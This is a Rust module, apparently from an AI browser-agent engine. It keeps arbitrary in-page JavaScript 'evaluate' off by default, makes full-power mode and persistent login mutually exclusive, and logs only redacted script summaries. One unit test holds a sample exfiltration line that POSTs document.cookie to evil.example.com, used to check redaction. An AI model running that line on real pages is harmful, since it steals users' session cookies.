//! 醒目审计」+ plan 开放问题 1「全权模式前端 UI 展示是 P3」)。
//!
//! 不变量(勿破坏):
//! - **默认 evaluate OFF**([`EvaluateGate::default`] `full_power=false` → [`gate`] 返 `Unsupported`)。
//! - **evaluate 门不看 session_mode**(不变量⑧;本模块 API 无 session_mode 入参)。
//! - **全权与持久登录互斥**([`check_full_power_eligible`] 两者皆 true → `Blocked`)。
//! - **持久登录下 evaluate 强制 OFF**(持久登录 true → 即便全权 true 也被互斥拦下 → 不放行)。
//! - **审计只记摘要不记全文**([`script_audit_summary`] 单测断言不含明文)。
use crate::engine::BrowserError;
/// evaluate 门控配置(**独立**门,不读 session_mode;不变量⑧)。
///
/// `Default` = **evaluate OFF**(`full_power=false`)+ 无持久登录(`persistent_login=false`)。这是
/// default-deny:没有任何 session 默认能跑 evaluate(裁决⑨)。
///
/// **LIVE 读**(与 `read_bool_pref` 范式一致):`full_power` 应在**每次** evaluate 入口处从
/// `client_preferences`(key 形如 `agent.browserUse.fullPower`,待 F1 定)读 LIVE 值灌进来,使用户在
/// System Settings 里切换全权开关**无需重启**即对新动作生效。E3 只做引擎层纯逻辑门 + 持有该配置;实际
/// 把 `client_preferences` LIVE 值灌进 [`EvaluateGate`] 的接线在 services.rs / F 阶段。
///
/// `persistent_login` 在 **P6** 才真正落地(DESIGN §27 持久登录默认策略未决 / §16 持久登录前置)。P2
/// 当前**无**持久登录配置来源,故默认 `false`(占位 bool);互斥逻辑[`check_full_power_eligible`]已就位,
/// 待 P6 接真实持久登录开关时只需把其 LIVE 值灌进本字段,互斥即自动生效(无需改门逻辑)。
///
/// **SD-6 已接线**:`persistent_login` 现由 factory `read_bool_pref("agent.browserUse.persistentLogin",
/// true)` LIVE 读,经 `NomiResolvedConfig.browser_persistent_login` → `BrowserConfig.persistent_login`
/// → `BrowserTool.evaluate_persistent_login` → `EngineConfig.evaluate_persistent_login` → 本字段。
/// 产品默认 ON(host_default=true),代码级 Default 仍 false(default-deny 基线)。
//
// TODO(F1-wire-live-read): services.rs 在每次 act(Evaluate) 前从 client_preferences 读 `full_power`
// LIVE 值(read_bool_pref 范式),构造 EvaluateGate 灌进引擎/facade。E3 仅提供纯逻辑门 + Default OFF。
// SD-6: persistent_login LIVE 值已接线(factory read_bool_pref host_default=true → EngineConfig →
// from_launched → EvaluateGate.persistent_login)。产品默认 ON,互斥逻辑已激活。
#[derive(Clone, Copy, Debug, PartialEq, Eq, Default)]
pub struct EvaluateGate {
/// 用户显式 opt-in 的「全权模式」开关(LIVE 读)。`false`(默认)→ evaluate 封死。
pub full_power: bool,
/// 该会话是否开启「持久登录」(SD-6 已接线,LIVE 值由 factory `read_bool_pref` 灌入,产品默认 ON)。
/// `true` → 与全权互斥,evaluate 强制封死。
pub persistent_login: bool,
}
/// **[纯逻辑] 全权模式资格判定**(E3 核心门 + 与持久登录互斥;裁决⑨)。
///
/// 四象限(**不读 session_mode**——不变量⑧):
/// | full_power | persistent_login | 结果 |
/// |---|---|---|
/// | `false` | `false` | `Err(Unsupported{capability:"evaluate"})`(默认 OFF)|
/// | `false` | `true` | `Err(Unsupported{capability:"evaluate"})`(持久登录下亦 OFF;全权没开自然封死)|
/// | `true` | `false` | `Ok(())`(**唯一放行**:用户显式 opt-in 全权 + 无持久登录)|
/// | `true` | `true` | `Err(Blocked)`(**互斥**:全权与持久登录不可同开——持久登录灌着真实长期凭据,
/// | | | 放开任意 JS 会把它暴露给逃生舱;故持久登录开启时 evaluate 强制封死)|
///
/// 互斥优先级:**先判互斥**(两者皆 true → `Blocked`,讲清互斥原因),再判全权未开(→ `Unsupported`)。
/// 这样持久登录 + 全权同开时返回的是「互斥」的明确 `Blocked`,而非笼统「feature off」——让上层/用户
/// 看清是**配置冲突**(关掉其一)而非「忘了开」。
pub fn check_full_power_eligible(
full_power: bool,
persistent_login: bool,
) -> Result<(), BrowserError> {
// 先判互斥:全权 + 持久登录同开 → Blocked(明确配置冲突,非「feature off」)。持久登录下 evaluate
// 强制封死——即便全权也被这里拦下(不变量「持久登录下 evaluate 强制 OFF」)。
if full_power && persistent_login {
return Err(BrowserError::Blocked {
reason: "evaluate is mutually exclusive with persistent login: full-power mode \
cannot be enabled while this session has persistent login on (persistent \
login holds long-lived credentials that arbitrary JS could exfiltrate). \
Disable persistent login for this session to use full-power evaluate, or \
keep persistent login and leave evaluate off."
.into(),
});
}
// 全权未显式开启 → 默认 OFF(default-deny)。
if !full_power {
return Err(evaluate_off_error());
}
// 全权开 + 无持久登录 → 唯一放行。
Ok(())
}
/// **[纯逻辑] 标准「evaluate 默认 OFF」错误**([`BrowserError::Unsupported`],`capability=="evaluate"`)。
///
/// hint 讲清**为何 off**(最高危逃生舱,绕过所有下游脱敏/防火墙/secret 防线)+ **怎么开**(用户在
/// System Settings 显式 opt-in「全权模式」,且该会话不能同时开持久登录)。锚 `engine.rs` 的
/// `browser_error_unsupported_carries_hint` 范式(capability=="evaluate" + hint 非空)。
pub fn evaluate_off_error() -> BrowserError {
BrowserError::Unsupported {
capability: "evaluate".into(),
hint: "evaluate (run arbitrary JS in the page) is disabled by default — it is the \
highest-risk escape hatch and would bypass credential redaction, the egress \
firewall, and secret origin-binding. To use it, the user must explicitly opt in \
to full-power mode in System Settings; full-power mode cannot be combined with \
persistent login. Prefer the structured actions (click/type/extract/observe) \
instead."
.into(),
}
}
/// **[纯逻辑] act(Evaluate) 的总门**(E3 入口纯逻辑;**不读 session_mode**——不变量⑧)。
///
/// 据 [`EvaluateGate`] 判 evaluate 是否放行:委托 [`check_full_power_eligible`](全权资格 + 互斥)。
/// `Ok(())` = 放行(调用方随后记审计 [`audit_evaluate`] 并真执行);`Err(_)` = 封死(默认 `Unsupported` /
/// 互斥 `Blocked`)。**注意**:本函数签名**刻意不含** `session_mode`——evaluate 门只看全权开关,yolo /
/// companion 无从豁免(不变量⑧)。
pub fn gate(cfg: &EvaluateGate) -> Result<(), BrowserError> {
check_full_power_eligible(cfg.full_power, cfg.persistent_login)
}
/// 审计摘要里脱敏前缀的最大字符数(短前缀即可定位「跑的大致是什么」,长了徒增泄漏面)。
const AUDIT_PREVIEW_CHARS: usize = 64;
/// **[纯逻辑] 构造 evaluate 的审计摘要**(强审计脱敏;裁决⑨「强审计」+ 不变量「只记摘要不记全文」)。
///
/// script 可能含敏感内容(`document.cookie` / token / 拼进字面量的密码),审计**绝不**记全文。本函数返
/// 一条**安全可记**的摘要:`len=<字符数> preview="<脱敏后的短前缀>"`——
/// - **长度**:字符数(`chars().count()`,供诊断「跑了多长的脚本」)。
/// - **脱敏短前缀**:取前 [`AUDIT_PREVIEW_CHARS`] 字符 → 再跑 [`crate::redact::redact_yaml`](已知凭据
/// 模式 + 高熵 token 兜底替 `[REDACTED_SECRET]`),故即便前缀里恰好含 token / 密钥也被抹掉。
/// 前缀按 char 边界截断(不裂多字节),并把内部换行折成空格(单行日志)。
///
/// 安全保证(单测守卫):含 `document.cookie`+长高熵串的 script,其摘要里**不含**该明文高熵串。
pub fn script_audit_summary(script: &str) -> String {
let len = script.chars().count();
// 取前 AUDIT_PREVIEW_CHARS 字符(按 char 边界,不裂多字节),换行折空格(单行)。
let prefix: String = script
.chars()
.take(AUDIT_PREVIEW_CHARS)
.map(|c| if c == '\n' || c == '\r' { ' ' } else { c })
.collect();
// 即便短前缀里含凭据 / 高熵 token 也被脱敏([REDACTED_SECRET])——前缀本身仍可能含 secret 片段,
// 故必须过 redact_yaml(不只截断)。
let redacted = crate::redact::redact_yaml(&prefix);
let ellipsis = if len > AUDIT_PREVIEW_CHARS { "…" } else { "" };
format!("len={len} preview={redacted:?}{ellipsis}")
}
/// **记一条 evaluate 放行的醒目审计日志**(强审计;裁决⑨)。**只记摘要不记全文**([`script_audit_summary`]
/// 已脱敏)。`tracing::warn`(醒目级别——全权 evaluate 是高危放行,值得在日志里显眼)。前端醒目展示留 P3。
///
/// `origin`:当前页 origin(provenance,best-effort,可能 `None`)。审计记 origin 让事后能定位「在哪个
/// 站点上跑了任意 JS」。**绝不**记 script 全文(哪怕 origin 可信)。
pub fn audit_evaluate(script: &str, origin: Option<&str>) {
tracing::warn!(
target: "nomi_browser_engine::evaluate",
origin = origin.unwrap_or("<unknown>"),
script = %script_audit_summary(script),
"FULL-POWER evaluate allowed: running arbitrary JS in the page (highest-risk escape \
hatch; bypasses redaction/firewall/secret-binding). Script logged as redacted summary \
only — never full text. Frontend prominent surfacing: P3."
);
}
#[cfg(test)]
mod tests {
use super::*;
// ── 默认 evaluate OFF(裁决⑨):full_power=false → Unsupported{capability:"evaluate"} + hint 非空。
// 锚 engine.rs `browser_error_unsupported_carries_hint` 范式。 ──────────────────────────────
#[test]
fn default_gate_is_evaluate_off() {
// EvaluateGate::default() = 全权 off + 无持久登录 → gate 封死(Unsupported,evaluate,hint 非空)。
let cfg = EvaluateGate::default();
assert!(!cfg.full_power, "default must be full_power OFF (default-deny)");
assert!(!cfg.persistent_login, "default has no persistent login");
match gate(&cfg) {
Err(BrowserError::Unsupported { capability, hint }) => {
assert_eq!(capability, "evaluate", "default-off must report evaluate capability");
assert!(!hint.is_empty(), "off hint must explain why/how (锚 engine.rs:146 范式)");
// hint 须讲清「怎么开」(提到 full-power / opt-in),引导用户而非死胡同。
let lc = hint.to_lowercase();
assert!(
lc.contains("full-power") || lc.contains("opt in") || lc.contains("opt-in"),
"off hint must explain how to enable (full-power opt-in), got: {hint}"
);
}
other => panic!("default gate must be Unsupported{{evaluate}}, got {other:?}"),
}
}
#[test]
fn evaluate_off_error_is_unsupported_evaluate_with_hint() {
// 独立验 evaluate_off_error 本体(gate 的 default-off 复用它)。
match evaluate_off_error() {
BrowserError::Unsupported { capability, hint } => {
assert_eq!(capability, "evaluate");
assert!(!hint.is_empty());
// Display 也含 capability(engine.rs 的 #[error("unsupported capability {capability}: {hint}")])。
let e = evaluate_off_error();
assert!(format!("{e}").contains("evaluate"));
}
other => panic!("expected Unsupported{{evaluate}}, got {other:?}"),
}
}
// ── check_full_power_eligible 四象限(裁决⑨核心 + 互斥)──────────────────────────────────
#[test]
fn full_power_off_evaluate_stays_off() {
// 全权 off(持久登录 off)→ evaluate 仍 OFF(Unsupported{evaluate})。
match check_full_power_eligible(false, false) {
Err(BrowserError::Unsupported { capability, .. }) => {
assert_eq!(capability, "evaluate");
}
other => panic!("full_power off must be Unsupported{{evaluate}}, got {other:?}"),
}
}
#[test]
fn full_power_on_no_persistent_login_is_allowed() {
// 全权 on + 持久登录 off → **唯一放行**。
assert!(
check_full_power_eligible(true, false).is_ok(),
"full-power on + no persistent login is the one allowed quadrant"
);
}
#[test]
fn full_power_on_with_persistent_login_is_mutually_exclusive_error() {
// 全权 on + 持久登录 on → **互斥 Err**(Blocked,讲清互斥原因;持久登录下 evaluate 强制封死)。
match check_full_power_eligible(true, true) {
Err(BrowserError::Blocked { reason }) => {
let lc = reason.to_lowercase();
assert!(
lc.contains("mutually exclusive") || lc.contains("persistent login"),
"mutual-exclusion error must explain the conflict, got: {reason}"
);
}
other => panic!("full-power + persistent login must be Blocked (互斥), got {other:?}"),
}
}
#[test]
fn full_power_off_with_persistent_login_is_off() {
// 全权 off + 持久登录 on → evaluate OFF(Unsupported;全权没开自然封死,持久登录只是另一原因)。
match check_full_power_eligible(false, true) {
Err(BrowserError::Unsupported { capability, .. }) => {
assert_eq!(capability, "evaluate");
}
other => panic!("full_power off (even with persistent login) must be Unsupported, got {other:?}"),
}
}
#[test]
fn persistent_login_forces_evaluate_off_regardless_of_full_power() {
// 不变量「持久登录下 evaluate 强制 OFF」:persistent_login=true 时,**无论全权开关**,gate 都不放行。
// full_power=false → Unsupported;full_power=true → Blocked(互斥)。两者都 != Ok。
let pl_off_fp = EvaluateGate { full_power: false, persistent_login: true };
let pl_on_fp = EvaluateGate { full_power: true, persistent_login: true };
assert!(gate(&pl_off_fp).is_err(), "persistent login + full_power off → not allowed");
assert!(gate(&pl_on_fp).is_err(), "persistent login + full_power on → not allowed (互斥)");
}
// ── yolo 不豁免(不变量⑧):evaluate 门不看 session_mode。──────────────────────────────────
#[test]
fn gate_signature_does_not_take_session_mode() {
// **类型层守卫**:gate / check_full_power_eligible 的签名只有 EvaluateGate / 两个 bool——
// **无** session_mode 入参。故 yolo / companion 无从把 session_mode 喂进来旁路(不变量⑧)。
// 本测通过「构造调用只传 gate 配置即可、无第三个 mode 参数」在编译期固化这一不变量。
let yolo_like = EvaluateGate { full_power: false, persistent_login: false };
// 即便「会话是 yolo」(本门无从知晓,也不该知晓),全权没开 → evaluate 仍 OFF。
assert!(
gate(&yolo_like).is_err(),
"evaluate gate must stay OFF irrespective of any session yolo/companion mode \
(门不看 session_mode; 不变量⑧)"
);
// 只有显式全权才放行——与「会话是否 yolo」完全无关。
let full_power = EvaluateGate { full_power: true, persistent_login: false };
assert!(gate(&full_power).is_ok(), "only explicit full-power opens evaluate, never yolo");
}
// ── 强审计脱敏(裁决⑨ + 不变量「只记摘要不记全文」)─────────────────────────────────────
#[test]
fn script_audit_summary_does_not_leak_full_script() {
// 长 script(含敏感内容)→ 摘要绝不含全文:断言不含远端尾部内容 + 含长度。
let secret_tail = "STEAL_THIS_VERY_SECRET_TAIL_TOKEN_xyz123";
let script = format!(
"fetch('https://evil.example.com', {{method:'POST', body: document.cookie}}); \
const k = '{secret_tail}'; console.log(k);"
);
let summary = script_audit_summary(&script);
// 摘要不含脚本尾部(只取前 AUDIT_PREVIEW_CHARS 字符的脱敏前缀,尾部根本不在内)。
assert!(
!summary.contains(secret_tail),
"audit summary must NOT contain the full script tail, got: {summary}"
);
// 摘要含字符长度(诊断用)。
assert!(summary.contains(&format!("len={}", script.chars().count())), "summary must carry len");
}
#[test]
fn script_audit_summary_redacts_high_entropy_in_preview() {
// 即便高熵 token 落在前缀(前 AUDIT_PREVIEW_CHARS 内)也被 redact_yaml 抹成 [REDACTED_SECRET]。
let high_entropy = "sk-aB3xK9pQ2mZ7vW1nR5tY8uF4gH6jL0dS";
let script = format!("var apiKey='{high_entropy}';");
let summary = script_audit_summary(&script);
assert!(
!summary.contains(high_entropy),
"high-entropy token in preview must be redacted, got: {summary}"
);
assert!(summary.contains("REDACTED"), "preview must show redaction marker, got: {summary}");
}
#[test]
fn script_audit_summary_short_script_no_ellipsis_multibyte_safe() {
// 短 script(< 上限):无省略号;且多字节字符(中文)截断不 panic、不裂字符。
let s = script_audit_summary("alert(1)");
assert!(s.contains("len=8"), "8 chars, got {s}");
assert!(!s.contains('…'), "short script must not show ellipsis: {s}");
// 多字节(每个汉字 1 char 但 3 bytes):take(chars) 按 char 边界,绝不裂字节 / panic。
let cn = "日".repeat(100); // 100 chars, > AUDIT_PREVIEW_CHARS
let s2 = script_audit_summary(&cn);
assert!(s2.contains("len=100"), "100 chars, got {s2}");
assert!(s2.contains('…'), "long script shows ellipsis: {s2}");
}
#[test]
fn script_audit_summary_folds_newlines_to_single_line() {
// 多行 script 的前缀换行折成空格(单行日志,不破 tracing 行格式)。
let s = script_audit_summary("line1\nline2\r\nline3");
assert!(!s.contains('\n'), "summary preview must be single-line (no \\n): {s}");
assert!(!s.contains('\r'), "summary preview must be single-line (no \\r): {s}");
}
#[test]
fn evaluate_gate_is_copy_debug_eq() {
// EvaluateGate 是 Copy/Debug/Eq(配置类型基本性质,便于 services.rs 灌值 / 测试比较)。
let a = EvaluateGate { full_power: true, persistent_login: false };
let b = a; // Copy
assert_eq!(a, b);
let _ = format!("{a:?}");
}
}

Some files were not shown because too many files have changed in this diff Show More